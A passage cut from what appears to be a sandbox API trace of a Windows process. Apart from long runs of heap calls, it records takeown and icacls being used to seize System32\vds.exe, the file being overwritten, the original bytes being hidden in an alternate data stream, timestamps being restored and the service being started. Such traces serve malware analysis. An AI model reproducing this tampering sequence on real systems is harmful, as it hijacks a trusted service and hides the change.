Flags=0x8, Size=0x40) returned 0x1c94378 [0029.728] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0029.728] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c96e98) returned 1 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95f28 [0029.728] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\vds.exe", lpProcessInformation=0x18fbc0*(hProcess=0x15c, hThread=0xc8, dwProcessId=0x7cc, dwThreadId=0x1c4)) returned 1 [0031.207] NtClose (Handle=0xc8) returned 0x0 [0031.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95f28) returned 1 [0031.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c96e98 [0031.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0031.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0031.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c96e98) returned 1 [0031.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c96e98 [0031.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94378 [0031.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0031.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c96e98) returned 1 [0031.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x2710) returned 0x0 [0031.881] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95f28 [0031.881] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1d1e470 [0031.881] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95f28) returned 1 [0031.881] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\vds.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0x168, hThread=0xc8, dwProcessId=0xa20, dwThreadId=0xa40)) returned 1 [0032.058] NtClose (Handle=0xc8) returned 0x0 [0032.058] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1e470) returned 1 [0032.058] NtClose (Handle=0x15c) returned 0x0 [0032.058] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x2710) returned 0x0 [0032.316] NtClose (Handle=0x168) returned 0x0 [0032.316] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95ea0) returned 1 [0032.316] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0032.316] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0032.316] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84a159cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82400)) returned 1 [0032.316] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.316] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0032.316] GetFileSize (in: hFile=0x168, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x82400 [0032.316] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0032.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x82400) returned 0x1bc0020 [0032.317] ReadFile (in: hFile=0x168, lpBuffer=0x1bc0020, nNumberOfBytesToRead=0x82400, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1bc0020*, lpNumberOfBytesRead=0x18fc58*=0x82400, lpOverlapped=0x0) returned 1 [0032.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x82400) returned 0x2610020 [0032.345] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1bc0020) returned 1 [0032.347] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0032.348] WriteFile (in: hFile=0x168, lpBuffer=0x1cb0ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1cb0ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0032.348] SetEndOfFile (hFile=0x168) returned 1 [0032.353] GetFileTime (in: hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0x84a159cb, dwHighDateTime=0x1cb892b)) returned 1 [0032.353] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0032.353] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0032.353] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0032.353] NtClose (Handle=0x168) returned 0x0 [0032.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe:0" (normalized: "c:\\windows\\system32\\vds.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x18fc24, ftLastAccessTime.dwLowDateTime=0x77380a45, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0032.356] GetLastError () returned 0x2 [0032.356] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe:0" (normalized: "c:\\windows\\system32\\vds.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.356] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0032.356] WriteFile (in: hFile=0x168, lpBuffer=0x2610020*, nNumberOfBytesToWrite=0x82400, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x2610020*, lpNumberOfBytesWritten=0x18fc58*=0x82400, lpOverlapped=0x0) returned 1 [0032.365] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0032.365] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0032.365] NtClose (Handle=0x168) returned 0x0 [0032.374] OpenServiceW (hSCManager=0x286c38, lpServiceName="vds", dwDesiredAccess=0x10) returned 0x286d28 [0032.374] StartServiceW (hService=0x286d28, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0033.874] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0033.875] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0x1388) returned 0x0 [0034.062] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x2610020) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eae8) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ea60) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e9d8) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e950) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89648) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed08) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ec80) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eb70) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ebf8) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c896d8) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ef28) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eea0) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ee18) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed90) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89720) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f148) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f0c0) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233efb0) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82de8) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89768) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f2e0) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f258) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f1d0) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f038) returned 1 [0034.074] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897b0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f500) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f478) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f3f0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f368) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c897f8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f720) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f698) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f610) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82ef0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89840) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f8b8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f830) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f588) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f7a8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89888) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fad8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fa50) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f9c8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82ff8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c898d0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fc70) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fbe8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fb60) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89918) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c831a0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83118) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fd80) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fcf8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89960) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c833c0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83338) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c832b0) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83228) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899a8) returned 1 [0034.075] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c835e0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83558) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c834d0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83448) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899f0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83800) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83778) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c836f0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83668) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a38) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83a20) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83998) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83910) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83888) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a80) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83c40) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83bb8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83b30) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83aa8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ac8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83e60) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83dd8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83d50) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83cc8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89b10) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84108) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84080) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83ff8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83ee8) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89690) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84328) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c842a0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84190) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84218) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89b58) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84548) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c844c0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c843b0) returned 1 [0034.076] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84438) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ba0) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84768) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c846e0) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c845d0) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85100) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89be8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84900) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84878) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c847f0) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c30) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84b20) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84a98) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84a10) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84988) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c78) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84d40) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84cb8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84c30) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ba8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89cc0) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84f60) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ed8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84e50) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84dc8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d08) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c852a8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85220) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85070) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87208) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d50) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c854c8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85440) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85330) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c853b8) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d98) returned 1 [0034.077] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c856e8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85660) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c855d8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85550) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89de0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85908) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85880) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c857f8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85770) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e28) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85b28) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85aa0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85a18) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85990) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85d48) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85cc0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85c38) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85bb0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17ec8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85f68) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85ee0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85dd0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85e58) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f10) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86188) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86100) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85ff0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86078) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17f58) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86210) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86298) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c873d8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17fa0) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c864b8) returned 1 [0034.078] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86430) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c86320) returned 1 [0034.079] RtlFreeHeap (HeapHandle=0x2330000, 